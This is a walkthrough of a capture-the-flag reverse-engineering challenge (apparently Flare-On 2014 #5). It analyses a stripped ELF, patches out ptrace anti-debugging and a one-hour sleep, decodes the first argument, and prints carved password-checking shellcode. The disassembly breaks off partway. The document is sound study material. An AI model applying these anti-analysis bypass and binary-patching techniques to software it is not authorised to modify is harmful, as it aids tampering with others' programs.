  • Detect it Easy (Die) show that this file is written in C language and compiled using GCC in ubuntu system which means it is elf binary.
  • It is stripped binary so symbol was be removed so it might be difficult to analyze easily.

Pasted image 20260129104631.png

  • It seems not packed so we don’t need to do heavy unpacking stuff,

Pasted image 20260129105324.png

  • For better analysis i switched to remnux which is linux based malware analysis lab to doing some work on elf and linux executables.
  • I used readelf tool to get some info about binary and here it is,
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ readelf -h e7bc5d2c0cf4480348f5504196561297 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401058
  Start of program headers:          64 (bytes into file)
  Start of section headers:          1219080 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         6
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30
  • Here is silly floss strings which might be worth to look,
  • It is not that much interesting but there are some strings which looks like cpp code ad some linux commands maybe used in this binary.
  • there is some interesting strings which is,
/index.html Nosebleed # Heartbleed eh? :) ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c info[20]->d_un.d_val == 7
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ floss e7bc5d2c0cf4480348f5504196561297 --format sc64 | less > floss_strings.txt

INFO: floss: extracting static strings
finding decoding function features: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 453.63 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
extracting stackstrings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 39.67 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 168.85 functions/s]
INFO: floss: finished execution after 10.94 seconds
INFO: floss: rendering results

FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

+------------------------+------------------------------------------------------------------------------------+
| file path              | e7bc5d2c0cf4480348f5504196561297                                                   |
| identified language    | unknown                                                                            |
| extracted strings      |                                                                                    |
|  static strings        | 6094 (53770 characters)                                                            |
|   language strings     |    0 (    0 characters)                                                            |
|  stack strings         | 0                                                                                  |
|  tight strings         | 0                                                                                  |
|  decoded strings       | 0                                                                                  |
+------------------------+------------------------------------------------------------------------------------+


 ───────────────────────────── 
  FLOSS STATIC STRINGS (6094)  
 ───────────────────────────── 

+------------------------------------+
| FLOSS STATIC STRINGS: ASCII (6094) |
+------------------------------------+

H9\$(t
.
.
.
Logrhythm
Rails
userdel
install
which
more
Juniper
touch
wait
unexpand
7zip
0cool
apropos
IMAP
jobs
VeriSign
==:)
BIOS
Heartbleed
.
.
.
comm
rsync
tail
timeout
BBBBBBBBB@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB>BBB?456789:;<=BBBABBB
BBBBBB
 !"#$%&'()*+,-./0123BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBFATAL: kernel too old
/dev/urandom
FATAL: cannot determine kernel version
/dev/full
/dev/null
cannot set %fs base address for thread-local storage
unexpected reloc type in static binary
cxa_atexit.c
l != ((void *)0)
__new_exitfn
LIBC_FATAL_STDERR_
/dev/tty
======= Backtrace: =========
======= Memory map: ========
/proc/self/maps
<heap nr="%d">
<sizes>
</heap>
malloc.c
((p)->size & 0x2)
(p->prev_size == offset)
<unknown>
malloc: top chunk is corrupt
corrupted double-linked list
TOP_PAD_
PERTURB_
MMAP_MAX_
ARENA_MAX
ARENA_TEST
TRIM_THRESHOLD_
MMAP_THRESHOLD_
free(): invalid pointer
invalid fastbin entry (free)
free(): invalid size
heap->ar_ptr == av
arena.c
p->size == (0|0x1)
locked
malloc(): memory corruption
(bck->bk->size & 0x4) == 0
(fwd->size & 0x4) == 0
bit != 0
correction >= 0
realloc(): invalid old size
realloc(): invalid next size
!((oldp)->size & 0x2)
ncopies >= 3
realloc(): invalid pointer
hooks.c
ms->av[2*i+3] == 0
nclears >= 3
Arena %d:
system bytes     = %10u
in use bytes     = %10u
Total (incl. mmap):
max mmap regions = %10u
max mmap bytes   = %10lu
<malloc version="1">
_int_memalign
_int_malloc
sYSMALLOc
munmap_chunk
_int_free
heap_trim
mremap_chunk
_int_realloc
__libc_malloc
__libc_realloc
__libc_valloc
__libc_pvalloc
__libc_calloc
.
.
.
<total type="fast" count="%zu" size="%zu"/>
<total type="rest" count="%zu" size="%zu"/>
<system type="current" size="%zu"/>
<system type="max" size="%zu"/>
<aspace type="total" size="%zu"/>
<aspace type="mprotect" size="%zu"/>
</malloc>
malloc_consolidate
__malloc_set_state
__libc_memalign
../sysdeps/x86_64/multiarch/../cacheinfo.c
! "cannot happen"
offset == 2
.
.
.
.
.
.
xdg-open
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.shstrtab
.note.ABI-tag
.note.gnu.build-id
.rela.plt
.init
.text
__libc_freeres_fn
__libc_thread_freeres_fn
.fini
.rodata
__libc_atexit
__libc_subfreeres
__libc_thread_subfreeres
.eh_frame
.gcc_except_table
.tdata
.tbss
.init_array
.fini_array
.ctors
.dtors
.jcr
.data.rel.ro
.got
.got.plt
.data
.bss
__libc_freeres_ptrs
.comment


+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+



 ───────────────────────── 
  FLOSS STACK STRINGS (0)  
 ───────────────────────── 



 ───────────────────────── 
  FLOSS TIGHT STRINGS (0)  
 ───────────────────────── 



 ─────────────────────────── 
  FLOSS DECODED STRINGS (0)  
 ─────────────────────────── 
  • Now we we jump into some disassembly stuff

Basic Dynamic Analysis#

  • ltrace traces library function calls, like
    • printf
    • strcmp
    • malloc
    • fopen
    • puts
    • exit etc..
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297
Couldn't find .dynsym or .dynstr in "/proc/2152/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ no

remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1
Couldn't find .dynsym or .dynstr in "/proc/2154/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ na

remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2
Couldn't find .dynsym or .dynstr in "/proc/2156/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ bad

remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3
Couldn't find .dynsym or .dynstr in "/proc/2160/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3 agr4
Couldn't find .dynsym or .dynstr in "/proc/2162/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
  • strace shows how a program talks to the Linux kernel.
  • The binary initializes normally, performs minimal environment setup, does not receive required arguments, immediately fails its internal validation logic, prints "no", and exits with a fixed failure code.
  • No user-controlled input is processed at all meaning the program expects specific arguments, and if they are not present or not correct, it terminates instantly.
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297
execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"...], 0x7ffd6d797520 /* 49 vars */) = 0
uname({sysname="Linux", nodename="remnux", ...}) = 0
brk(NULL)                               = 0x3fde1000
brk(0x3fde21c0)                         = 0x3fde21c0
arch_prctl(ARCH_SET_FS, 0x3fde1880)     = 0
brk(0x3fe031c0)                         = 0x3fe031c0
brk(0x3fe04000)                         = 0x3fe04000
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f74a9d75000
write(1, "no\n", 3no
)                     = 3
exit_group(52)                          = ?
+++ exited with 52 +++
# Running Strace with 2 arguments
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297 arg1 arg2
execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7ffdb7a46ad0 /* 49 vars */) = 0
uname({sysname="Linux", nodename="remnux", ...}) = 0
brk(NULL)                               = 0x7018000
brk(0x70191c0)                          = 0x70191c0
arch_prctl(ARCH_SET_FS, 0x7018880)      = 0
brk(0x703a1c0)                          = 0x703a1c0
brk(0x703b000)                          = 0x703b000
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb585c32000
write(1, "Program received signal SIGSEGV,"..., 52Program received signal SIGSEGV, Segmentation fault
) = 52
exit_group(9001)                        = ?
+++ exited with 41 +++
if (ptrac(PTRACE_TRACEME, 0, 1, 0) == -1) BeingDebugged = true;

Advance Static Analysis#

  • Here is the reference of sys_ptrace in sub_4742B0 function, so rename with mw_syscall_anti_debug_ptrace
  • TheΒ ptraceΒ system call (sys_ptrace) in Linux is used by a tracer process to monitor and control a trace process, generally returningΒ 0Β on success orΒ -1Β on error.

Pasted image 20260201142232.png

  • this mw_anti_debug_ptrace is referenced in another function which is checking the return value and if it is -1 which means failed then it will crash and return Segmentation Fault so we have to patch that by replacing 74 (jz) conditional jump with EB (jmp) unconditional jump.
  • I used this as reference,

Pasted image 20260201144857.png

    if ( (mw_anti_debug_ptrace(0, 0, 1u, 0) & 0x8000000000000000LL) != 0LL )
    {
      sub_45EBE0((__int64)"Program received signal SIGSEGV, Segmentation fault");
      sub_45E790(9001);
    }

Patch 1: ptrace patching#

  • So to patch that
  • I need to first get opcodes to identify the hex sequence so to do that i used ida’s patch feature and get the sequence of opcodes,
74 14 BF 50 3B 4F 00 E8 B8 F9 03 00 BF 29 23 00

Pasted image 20260201150209.png

  • I can use HxD, to change 74 to EB,

Pasted image 20260201150931.png

  • After that, i open it in ida and as you can see that it is taking unconditional jump with any condition so the patch worked perfectly.

Pasted image 20260201151221.png

  • Now this command no longer given seg fault,
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched arg1 arg2

[00007add30ede557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7fff3abb55b8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL)            = 0x27391000
[00000000004aa78a] brk(0x273921c0)      = 0x273921c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x27391880) = 0
[00000000004aa78a] brk(0x273b31c0)      = 0x273b31c0
[00000000004aa78a] brk(0x273b4000)      = 0x273b4000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[0000000000473e44] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
[000000000047509a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x778d0840d000
[0000000000473f50] write(1, "bad\n", 4bad
) = 4
[0000000000473dd8] exit_group(420)      = ?
[????????????????] +++ exited with 164 +++
  • Now lets analyze the sub_435E20 which has bad string so i renamed it as mw_bad_str and by doing some digging i can see that it is checking that argument length is 10 or not.

Pasted image 20260201152007.png

  • By analyzing further we understand that the string β€œbngcg`debd” is XOR’ed withΒ 0x56Β to obtain the value of the 1st argument.

Pasted image 20260201153736.png

  • By doing XOR i get this value 4815162342, which is exactly 10 digit long so i passed this as argument in patched program,

Pasted image 20260201152747.png

  • We can see a nanosleep at offsetΒ 0x473d50.
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched 4815162342 arg2

[00007f2fa72de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "arg2"], 0x7ffcc1afea98 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL)            = 0x2c36a000
[00000000004aa78a] brk(0x2c36b1c0)      = 0x2c36b1c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x2c36a880) = 0
[00000000004aa78a] brk(0x2c38c1c0)      = 0x2c38c1c0
[00000000004aa78a] brk(0x2c38d000)      = 0x2c38d000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[0000000000473d50] nanosleep({tv_sec=3600, tv_nsec=0}, ^C{tv_sec=3581, tv_nsec=387430080}) = ? ERESTART_RESTARTBLOCK (Interrupted by signal)
  • nanosleep(3600 seconds); which is 1 hour,
  • it is used for
    • Waste analyst time
    • Beat sandbox timeouts
    • Make sample look β€œhung”
  • At this 0x473d50 offset it it doing syscall to nanosleep, and the function is sub_473D40.
  • InΒ IDA Pro, we confirmΒ 0x63Β (35) is moved toΒ EAXΒ andΒ syscallΒ is then called.
  • Still referring to theΒ syscall table, we confirm it corresponds to nanosleep.
  • https://man7.org/linux/man-pages/man2/nanosleep.2.html

Pasted image 20260201153733.png

Patch 2: nanosleep patch#

  • We can see that nanosleep is called 2 times in the function.
  • Let’s patch the code by replacingΒ syscallΒ withΒ NOP’s, as follows:
    • So same as previously we grep the hex stream which is this,
B8 23 00 00 00 0F 05

Pasted image 20260201153735.png

  • Using HxD we will patch that,

Pasted image 20260201155658.png

  • After that i checked the diff both and here is what i got,
< e7bc5d2c0cf4480348f5504196561297.patched2:     file format elf64-x86-64
---
> e7bc5d2c0cf4480348f5504196561297.patched2.bak:     file format elf64-x86-64
122582,122588c122582,122583
<   473d49:     90                      nop
<   473d4a:     90                      nop
<   473d4b:     90                      nop
<   473d4c:     90                      nop
<   473d4d:     90                      nop
<   473d4e:     90                      nop
<   473d4f:     90                      nop
---
>   473d49:     b8 23 00 00 00          mov    eax,0x23
>   473d4e:     0f 05                   syscall
122595,122601c122590,122591
<   473d6a:     90                      nop
<   473d6b:     90                      nop
<   473d6c:     90                      nop
<   473d6d:     90                      nop
<   473d6e:     90                      nop
<   473d6f:     90                      nop
<   473d70:     90                      nop
---
>   473d6a:     b8 23 00 00 00          mov    eax,0x23
>   473d6f:     0f 05                   syscall
  • Now we know that this first argument but what about second argument,
  • So i dig little and found that some bytes are being encoded using base64.
  • I got into the habit of copying the base64 bytes and setting up breakpoints every once in a while to get back to a checkpoint after each crash.
  • sub_401164 function decodes the bytes from base64.

Pasted image 20260202001050.png

Pasted image 20260202001508.png

  • After some analysis i found that those bytes are shellcode,
  • This is the flow of shellcode function,
entry -> 
sub_452079 -> 
    sub_44D525 -> 
        sub_44BE43 -> 
            sub_44B942 (Decompile_problem) -> mw_base64_decode
                                           -> mw_shellcode_sus

Advance Dynamic Analysis#

  • I used edb tool for dynamic debugging for elf,
  • So i go to that 0x44bb2b location and i found that it is calling, as discussed previously,
00000000:0044bb2b ff d2    call rdx
  • So we can dump it by doing follow in dump of rdx and we get the shellcode,
  • I carve the shellcode and remove some unnecessary bytes,

Pasted image 20260201234708.png

  • I step into the function and see where shellcode ends and it is ending on this last operation, so up till this i kept and remove remaining bytes,
0x00007ffd6741cc8c: 80 38 D7 cmp byte ptr [eax], 0xd7

Stage 2 Shellcode Analysis#

Initial Triage#

  • File Type: shellcode.bin: data
  • Size: 607 bytes
  • SHA256: 85b70829d62ab78429754247036a540afdb3548608cef9bbde53bef1f6ccd8c5

Basic Static Analysis#

  • I checked VT for this hash, but it gives no results,
  • So i upload it and check whether it gives something, but nothing

Pasted image 20260201233759.png

Pasted image 20260201233920.png

Advance Static Analysis#

  • This is 2nd stage shellcode carved from 1st stage elf,
48 89 f8 e8 00 00 00 00 48 8b 1c 24 48 83 c3 0a eb 0a 48 31 d2 48 31 c0 b0 3c 0f 05 c0 08 f2 80 38 1b 74 02 ff e3 48 83 c0 01 80 30 40 80 30 f2 80 30 b3 80 38 30 74 02 ff e3 48 83 c0 01 80 30 71 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 a3 c0 08 bc 80 38 b0 74 02 ff e3 48 83 c0 01 80 28 79 80 38 e8 74 02 ff e3 48 83 c0 01 c0 08 82 80 28 28 80 38 f6 74 02 ff e3 48 83 c0 01 80 28 b0 c0 08 4d 80 00 2c 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 54 c0 00 99 80 30 b8 c0 08 2a 80 00 3f 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 ba 80 38 5d 74 02 ff e3 48 83 c0 01 80 30 ed c0 08 6c 80 00 30 80 38 29 74 02 ff e3 48 83 c0 01 80 28 bf 80 38 b5 74 02 ff e3 48 83 c0 01 c0 00 bc 80 00 8c c0 00 7b 80 28 31 80 00 63 80 38 a5 74 02 ff e3 48 83 c0 01 c0 00 20 c0 00 16 80 30 ae c0 00 98 80 38 f3 74 02 ff e3 48 83 c0 01 c0 08 6e 80 00 d2 80 38 a6 74 02 ff e3 48 83 c0 01 80 00 34 80 38 62 74 02 ff e3 48 83 c0 01 80 00 cd 80 28 10 80 00 62 80 30 b2 80 38 32 74 02 ff e3 48 83 c0 01 80 30 b7 80 30 73 c0 08 07 80 38 eb 74 02 ff e3 48 83 c0 01 80 00 34 80 28 61 c0 08 36 80 00 5b 80 28 4c 80 38 0b 74 02 ff e3 48 83 c0 01 80 00 5a 80 38 9a 74 02 ff e3 48 83 c0 01 c0 08 a2 80 38 99 74 02 ff e3 48 83 c0 01 80 30 7e 80 28 e7 80 38 2b 74 02 ff e3 48 83 c0 01 80 28 b8 80 30 86 80 00 4e c0 08 4a c0 00 57 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 86 80 30 e8 c0 00 95 80 30 4a 80 30 ad 80 38 c3 74 02 ff e3 48 83 c0 01 c0 08 45 80 30 cc 80 00 1c 80 38 03 74 02 ff e3 48 83 c0 01 80 28 4a 80 38 e3 74 02 ff e3 48 83 c0 01 80 30 a5 c0 08 90 80 38 ca 74 02 ff e3 48 83 c0 01 c0 08 de c0 00 36 80 30 78 80 28 d8 80 38 3e 74 02 ff e3 48 83 c0 01 80 00 b5 80 28 ad c0 08 89 c0 00 a2 c0 00 11 80 38 d8 74 02 ff e3 48 83 c0 01 80 00 40 80 28 21 c0 08 c0 80 38 82 74 02 ff e3 48 83 c0 01 c0 00 e3 80 38 7b 74 02 ff e3 48 83 c0 01 80 28 78 c0 08 f6 80 38 d7
  • And this is actual disassembled assembly,
0x0000000000000000:  48                dec     eax
0x0000000000000001:  89 F8             mov     eax, edi
0x0000000000000003:  E8 00 00 00 00    call    8
0x0000000000000008:  48                dec     eax
0x0000000000000009:  8B 1C 24          mov     ebx, dword ptr [esp]
0x000000000000000c:  48                dec     eax
0x000000000000000d:  83 C3 0A          add     ebx, 0xa
0x0000000000000010:  EB 0A             jmp     0x1c
0x0000000000000012:  48                dec     eax
0x0000000000000013:  31 D2             xor     edx, edx
0x0000000000000015:  48                dec     eax
0x0000000000000016:  31 C0             xor     eax, eax
0x0000000000000018:  B0 3C             mov     al, 0x3c
0x000000000000001a:  0F 05             syscall 
0x000000000000001c:  C0 08 F2          ror     byte ptr [eax], 0xf2
0x000000000000001f:  80 38 1B          cmp     byte ptr [eax], 0x1b
0x0000000000000022:  74 02             je      0x26
0x0000000000000024:  FF E3             jmp     ebx
0x0000000000000026:  48                dec     eax
0x0000000000000027:  83 C0 01          add     eax, 1
0x000000000000002a:  80 30 40          xor     byte ptr [eax], 0x40
0x000000000000002d:  80 30 F2          xor     byte ptr [eax], 0xf2
0x0000000000000030:  80 30 B3          xor     byte ptr [eax], 0xb3
0x0000000000000033:  80 38 30          cmp     byte ptr [eax], 0x30
0x0000000000000036:  74 02             je      0x3a
0x0000000000000038:  FF E3             jmp     ebx
0x000000000000003a:  48                dec     eax
0x000000000000003b:  83 C0 01          add     eax, 1
0x000000000000003e:  80 30 71          xor     byte ptr [eax], 0x71
0x0000000000000041:  80 38 1F          cmp     byte ptr [eax], 0x1f
0x0000000000000044:  74 02             je      0x48
0x0000000000000046:  FF E3             jmp     ebx
0x0000000000000048:  48                dec     eax
0x0000000000000049:  83 C0 01          add     eax, 1
0x000000000000004c:  80 00 A3          add     byte ptr [eax], 0xa3
0x000000000000004f:  C0 08 BC          ror     byte ptr [eax], 0xbc
0x0000000000000052:  80 38 B0          cmp     byte ptr [eax], 0xb0
0x0000000000000055:  74 02             je      0x59
0x0000000000000057:  FF E3             jmp     ebx
0x0000000000000059:  48                dec     eax
0x000000000000005a:  83 C0 01          add     eax, 1
0x000000000000005d:  80 28 79          sub     byte ptr [eax], 0x79
0x0000000000000060:  80 38 E8          cmp     byte ptr [eax], 0xe8
0x0000000000000063:  74 02             je      0x67
0x0000000000000065:  FF E3             jmp     ebx
0x0000000000000067:  48                dec     eax
0x0000000000000068:  83 C0 01          add     eax, 1
0x000000000000006b:  C0 08 82          ror     byte ptr [eax], 0x82
0x000000000000006e:  80 28 28          sub     byte ptr [eax], 0x28
0x0000000000000071:  80 38 F6          cmp     byte ptr [eax], 0xf6
0x0000000000000074:  74 02             je      0x78
0x0000000000000076:  FF E3             jmp     ebx
0x0000000000000078:  48                dec     eax
0x0000000000000079:  83 C0 01          add     eax, 1
0x000000000000007c:  80 28 B0          sub     byte ptr [eax], 0xb0
0x000000000000007f:  C0 08 4D          ror     byte ptr [eax], 0x4d
0x0000000000000082:  80 00 2C          add     byte ptr [eax], 0x2c
0x0000000000000085:  80 38 1F          cmp     byte ptr [eax], 0x1f
0x0000000000000088:  74 02             je      0x8c
0x000000000000008a:  FF E3             jmp     ebx
0x000000000000008c:  48                dec     eax
0x000000000000008d:  83 C0 01          add     eax, 1
0x0000000000000090:  80 00 54          add     byte ptr [eax], 0x54
0x0000000000000093:  C0 00 99          rol     byte ptr [eax], 0x99
0x0000000000000096:  80 30 B8          xor     byte ptr [eax], 0xb8
0x0000000000000099:  C0 08 2A          ror     byte ptr [eax], 0x2a
0x000000000000009c:  80 00 3F          add     byte ptr [eax], 0x3f
0x000000000000009f:  80 38 AF          cmp     byte ptr [eax], 0xaf
0x00000000000000a2:  74 02             je      0xa6
0x00000000000000a4:  FF E3             jmp     ebx
0x00000000000000a6:  48                dec     eax
0x00000000000000a7:  83 C0 01          add     eax, 1
0x00000000000000aa:  C0 08 BA          ror     byte ptr [eax], 0xba
0x00000000000000ad:  80 38 5D          cmp     byte ptr [eax], 0x5d
0x00000000000000b0:  74 02             je      0xb4
0x00000000000000b2:  FF E3             jmp     ebx
0x00000000000000b4:  48                dec     eax
0x00000000000000b5:  83 C0 01          add     eax, 1
0x00000000000000b8:  80 30 ED          xor     byte ptr [eax], 0xed
0x00000000000000bb:  C0 08 6C          ror     byte ptr [eax], 0x6c
0x00000000000000be:  80 00 30          add     byte ptr [eax], 0x30
0x00000000000000c1:  80 38 29          cmp     byte ptr [eax], 0x29
0x00000000000000c4:  74 02             je      0xc8
0x00000000000000c6:  FF E3             jmp     ebx
0x00000000000000c8:  48                dec     eax
0x00000000000000c9:  83 C0 01          add     eax, 1
0x00000000000000cc:  80 28 BF          sub     byte ptr [eax], 0xbf
0x00000000000000cf:  80 38 B5          cmp     byte ptr [eax], 0xb5
0x00000000000000d2:  74 02             je      0xd6
0x00000000000000d4:  FF E3             jmp     ebx
0x00000000000000d6:  48                dec     eax
0x00000000000000d7:  83 C0 01          add     eax, 1
0x00000000000000da:  C0 00 BC          rol     byte ptr [eax], 0xbc
0x00000000000000dd:  80 00 8C          add     byte ptr [eax], 0x8c
0x00000000000000e0:  C0 00 7B          rol     byte ptr [eax], 0x7b
0x00000000000000e3:  80 28 31          sub     byte ptr [eax], 0x31
0x00000000000000e6:  80 00 63          add     byte ptr [eax], 0x63
0x00000000000000e9:  80 38 A5          cmp     byte ptr [eax], 0xa5
0x00000000000000ec:  74 02             je      0xf0
0x00000000000000ee:  FF E3             jmp     ebx
0x00000000000000f0:  48                dec     eax
0x00000000000000f1:  83 C0 01          add     eax, 1
0x00000000000000f4:  C0 00 20          rol     byte ptr [eax], 0x20
0x00000000000000f7:  C0 00 16          rol     byte ptr [eax], 0x16
0x00000000000000fa:  80 30 AE          xor     byte ptr [eax], 0xae
0x00000000000000fd:  C0 00 98          rol     byte ptr [eax], 0x98
0x0000000000000100:  80 38 F3          cmp     byte ptr [eax], 0xf3
0x0000000000000103:  74 02             je      0x107
0x0000000000000105:  FF E3             jmp     ebx
0x0000000000000107:  48                dec     eax
0x0000000000000108:  83 C0 01          add     eax, 1
0x000000000000010b:  C0 08 6E          ror     byte ptr [eax], 0x6e
0x000000000000010e:  80 00 D2          add     byte ptr [eax], 0xd2
0x0000000000000111:  80 38 A6          cmp     byte ptr [eax], 0xa6
0x0000000000000114:  74 02             je      0x118
0x0000000000000116:  FF E3             jmp     ebx
0x0000000000000118:  48                dec     eax
0x0000000000000119:  83 C0 01          add     eax, 1
0x000000000000011c:  80 00 34          add     byte ptr [eax], 0x34
0x000000000000011f:  80 38 62          cmp     byte ptr [eax], 0x62
0x0000000000000122:  74 02             je      0x126
0x0000000000000124:  FF E3             jmp     ebx
0x0000000000000126:  48                dec     eax
0x0000000000000127:  83 C0 01          add     eax, 1
0x000000000000012a:  80 00 CD          add     byte ptr [eax], 0xcd
0x000000000000012d:  80 28 10          sub     byte ptr [eax], 0x10
0x0000000000000130:  80 00 62          add     byte ptr [eax], 0x62
0x0000000000000133:  80 30 B2          xor     byte ptr [eax], 0xb2
0x0000000000000136:  80 38 32          cmp     byte ptr [eax], 0x32
0x0000000000000139:  74 02             je      0x13d
0x000000000000013b:  FF E3             jmp     ebx
0x000000000000013d:  48                dec     eax
0x000000000000013e:  83 C0 01          add     eax, 1
0x0000000000000141:  80 30 B7          xor     byte ptr [eax], 0xb7
0x0000000000000144:  80 30 73          xor     byte ptr [eax], 0x73
0x0000000000000147:  C0 08 07          ror     byte ptr [eax], 7
0x000000000000014a:  80 38 EB          cmp     byte ptr [eax], 0xeb
0x000000000000014d:  74 02             je      0x151
0x000000000000014f:  FF E3             jmp     ebx
0x0000000000000151:  48                dec     eax
0x0000000000000152:  83 C0 01          add     eax, 1
0x0000000000000155:  80 00 34          add     byte ptr [eax], 0x34
0x0000000000000158:  80 28 61          sub     byte ptr [eax], 0x61
0x000000000000015b:  C0 08 36          ror     byte ptr [eax], 0x36
0x000000000000015e:  80 00 5B          add     byte ptr [eax], 0x5b
0x0000000000000161:  80 28 4C          sub     byte ptr [eax], 0x4c
0x0000000000000164:  80 38 0B          cmp     byte ptr [eax], 0xb
0x0000000000000167:  74 02             je      0x16b
0x0000000000000169:  FF E3             jmp     ebx
